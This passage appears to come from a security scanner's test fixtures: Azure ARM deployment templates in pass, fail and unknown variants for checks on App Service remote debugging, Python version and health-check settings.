    \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"3.10\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePythonVersion/unknown.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"fail\",\n      \"version\": \"0.25.53.49325\",\n      \"templateHash\": \"16144177164140676603\"\n    }\n  },\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('webApp-{0}', uniqueString(resourceGroup().id))]\",\n      \"minLength\": 2,\n      \"metadata\": {\n        \"description\": \"Web app name.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"F1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan.\"\n      }\n    },\n    \"language\": {\n      \"type\": \"string\",\n      \"defaultValue\": \".net\",\n      \"allowedValues\": [\n        \".net\",\n        \"php\",\n        \"node\",\n        \"html\"\n      ],\n      \"metadata\": {\n        \"description\": \"The language stack of the app.\"\n      }\n    },\n    \"helloWorld\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"true = deploy a sample Hello World app.\"\n      }\n    },\n    \"repoUrl\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"Optional Git Repo URL\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanPortalName\": \"[format('AppServicePlan-{0}', parameters('webAppName'))]\",\n    \"gitRepoReference\": {\n      \".net\": \"https://github.com/Azure-Samples/app-service-web-dotnet-get-started\",\n      \"node\": \"https://github.com/Azure-Samples/nodejs-docs-hello-world\",\n      \"php\": \"https://github.com/Azure-Samples/php-docs-hello-world\",\n      \"html\": \"https://github.com/Azure-Samples/html-docs-hello-world\"\n    },\n    \"gitRepoUrl\": \"[if(bool(parameters('helloWorld')), variables('gitRepoReference')[toLower(parameters('language'))], parameters('repoUrl'))]\",\n    \"configReference\": {\n      \".net\": {\n        \"comments\": \".Net app. No additional configuration needed.\"\n      },\n      \"html\": {\n        \"comments\": \"HTML app. No additional configuration needed.\"\n      },\n      \"php\": {\n        \"phpVersion\": \"7.4\"\n      },\n      \"node\": {\n        \"appSettings\": [\n          {\n            \"name\": \"WEBSITE_NODE_DEFAULT_VERSION\",\n            \"value\": \"12.15.0\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"unknown\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"unknown\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceRemoteDebuggingNotEnabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app,linux\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n         \"reserved\": true,\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": \"true\",\n          \"minTlsVersion\": \"1.2\",\n          \"remoteDebuggingEnabled\": true\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceRemoteDebuggingNotEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app,linux\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n         \"reserved\": true,\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": \"true\",\n          \"minTlsVersion\": \"1.2\",\n          \"remoteDebuggingEnabled\": false\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceRemoteDebuggingNotEnabled/pass1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"pass1\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app,linux\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n         \"reserved\": true,\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": \"true\",\n          \"minTlsVersion\": \"1.2\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSetHealthCheck/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": true,\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"is try string to app service disallow cors\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": false,\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          